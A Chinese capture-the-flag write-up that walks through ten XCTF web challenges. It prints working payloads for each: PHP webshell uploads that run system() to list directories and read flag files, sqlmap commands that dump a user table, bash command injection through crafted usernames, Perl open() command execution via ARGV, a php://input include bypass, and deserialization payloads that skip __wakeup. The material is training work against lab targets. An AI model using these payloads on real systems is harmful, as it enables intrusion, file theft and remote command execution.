攻防世界web进阶区WP(part2)

0x00 Web2

打开页面是一段php加密代码:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

编写解密脚本解密即可:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$ming=base64_decode(strrev(str_rot13($miwen)));
function ddd($str)
{
$b="";
for($tt=0;$tt<strlen($str);$tt++)
{
$b=$b.(chr(ord($str[$tt])-1));
}
return $b;
}
echo strrev(ddd($ming));
?>

得到flag:

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

0x01 PHP2

页面只有一句话:“ Can you anthenticate to this website? “,尝试index.php,robots.txt均没有什么收获,尝试index.phps,发现源码泄露

<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

即我们输入的id不能为”admin“,且urldecode后的id需要为”admin“

经查询,”%61”经urldecode后为”a“,”%61“经urlencode后为”%2561“,payload:

?id=%2561dmin

传入,经urldecode后即为”admin“

0x02 unserialize3

页面为一段php代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据题目unserialize可以推测code应该传入class类序列化后的结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

但是正常传入会调用_wakeup()方法,输出“bad requests”,我们需要绕过_wakeup(),查询可知,当序列化字符串表示对象个数的值大于真实个数时就会跳过_wakeup()的执行

将payload改为:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

即可绕过_wakeup()

0x03 upload1

一个文件上传页面,查看源代码发现前端有文件后缀的验证,只允许上传后缀为‘jpg’和‘png’的文件,使用bp抓包修改后缀绕过即可

上传一个带有php代码的文件,后缀添加’.png‘,php代码:

<?php system("ls"); ?>

使用bp抓包修改后缀,放包

可以看到上传成功,并且显示了文件所在的目录和文件名

访问该文件,成功执行了php代码

继续上传,在bp抓包时修改php代码,查看其他文件,php代码:

<?php system("ls .."); ?>

访问上传成功后的文件,发现“flag.php”文件,继续修改php代码上传查看该文件

<?php system("cat ../flag.php"); ?>

访问上传后的文件,查看源码即可获得flag

0x04 ics-04

题目提示:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

随便注册一个用户登陆,提示普通用户登录成功,没什么用

但发现可以用同一个用户名注册不同的密码且都可以登陆,考虑找出管理员的用户名注册新密码登陆

在登陆和找回密码页面尝试注入,发现在找回密码页面,输入“sunsh1ne”回显密保问题为”123”即设置的问题,输入“sunsh1ne’ or 1=’1”回显密保问题为“cetc”,猜测存在sql注入

使用bp抓包保存为test.txt再使用sqlmap跑一下

sqlmap -r test.txt --dbs

跑出了4个数据库

继续查询cetc004数据库中的表

sqlmap -r test.txt -D cetc004 --tables

只有1个user表

查询user表中的数据

sqlmap -r test.txt -D cetc004 -T user --dump

密码为hash值,使用“username=c3tlwDmIn23”的用户名再注册一次,登陆即可获得flag

0x05 wtf.sh-150

页面为一个论坛,注册一个用户登陆,可以发贴和回复,随便进入一个帖子,目录为

“/post.wtf?post=K8laH”,测试发现“post”参数存在目录穿越漏洞

/post.wtf?post=../

源码泄露,搜索“flag”,得到有关代码

代码格式化:

<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "<h3>${username}'s posts:</h3>";
$ echo "<ol>";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$ done
$ echo "</ol>";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>

关键代码:

if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1

即我们需要以admin用户登录即可获得flag1,源码中发现“users”目录,访问下

获得了所有用户的用户名和cookie值

admin的cookie即为

uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

注意到,点击不同的用户查看帖子时,user参数的值会改变,admin的user参数:

/profile.wtf?user=jlvfK

在admin的帖子页面抓包使用admin用户登陆即可找到第一段flag

第二段flag的获取有些难度,参考了wp

因wtf 不是常规的网页文件,故寻找解析 wtf 文件的代码

格式化代码:

max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page <pathname>
local pathname=$1
local cmd=""
[[ "${pathname:(-4)}" = '.wtf' ]];
local can_execute=$?;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];
is_script=$?;

# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'\n'"${line#"$"}";
else
if [[ -n $cmd ]]
then
eval "$cmd" || log "Error during execution of ${cmd}";
cmd=""
fi
echo $line
fi
done < ${pathname}
else
echo "<p>Max include depth exceeded!<p>"
fi
}

网站能够解析并执行wtf文件,我们可以上传可执行的wtf文件从而getshell

继续审计代码,发现reply函数

格式化代码:

function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");

curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

回复功能的后台代码,注意到 “echo “${username}” > “${next_file}”;” ,这段代码把用户的用户名写入了回复的内容里,并且回复是存放在“users_lookup”目录中

注册一个用户名为 “${find,/,-iname,get_flag2}” 的用户,写入后门

%09为水平制表符,必须添加,不然后台会把我们的后门当做目录去解析

写入成功后访问后门

可以看到flag2的目录,继续注册一个新用户 “$/usr/bin/get_flag2” ,写入后门然后访问即可获得第二段flag

0x06 baby_web

题目提示:想想初始页面是哪个

打开页面,url为 “/1.php” ,抓包修改为 “/index.php” ,头部信息中藏有flag

0x07 Web_php_include

打开页面为一段php代码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

使用GET方法传入“$page”参数,strstr()函数判断“$page”中是否存在“php://”,若存在替换为空

strstr()函数对大小写敏感,可以使用大写绕过,尝试使用“php://input”上传一段php代码

可以看到成功执行,发现flag文件,构造php代码读取flag文件即可

0x08 i-got-id-200

Files页面可以上传文件,随便上传一个,回显出文件内容

网站使用perl写的,perl上传的代码:参考BlackHatAsia2016的Perl漏洞

my $cgi= CGI->new;
if ( $cgi->upload( ‘file‘ ) )
{
my $file= $cgi->param( ‘file‘ );
while ( <$file> ){
print "$_";
}
}

upload()函数用于检查“file”参数是否为上传的文件

param()函数返回所有参数值的列表,但只有第一个值插入$file

while ( <$file> )

“<>”不适用于字符串,除非字符串为“ARGV”,在这种情况下,“<>”循环通过ARG值将每个值插入open()调用

open()打开给定文件路径的文件描述符,除非在字符串末尾添加“|”字符,open()可以执行文件,充当exec()调用

尝试在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了

继续构造url读取文件列表

?/bin/bash -c ls${IFS}/|

IFS为Shell的内置变量,是一个用于分割字段的字符列表

继续构造读取flag即可

?/bin/bash -c cat${IFS}/flag|

0x09 Web_php_unserialize

代码:

<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

在反序列化之前需要绕过正则匹配,而且 _wakeup()在 _destruct()调用之前会被自动调用,我们需要绕过 _wake(),参考本文0x02,当序列化字符串表示对象个数的值大于真实个数时就会跳过wakeup()的执行

我们可以根据代码构造脚本:

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag); //绕过正则匹配
$flag = str_replace(':1:', ':2:' ,$flag); //绕过_wakeup()
echo base64_encode($flag);
?>

输出

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

传入var即可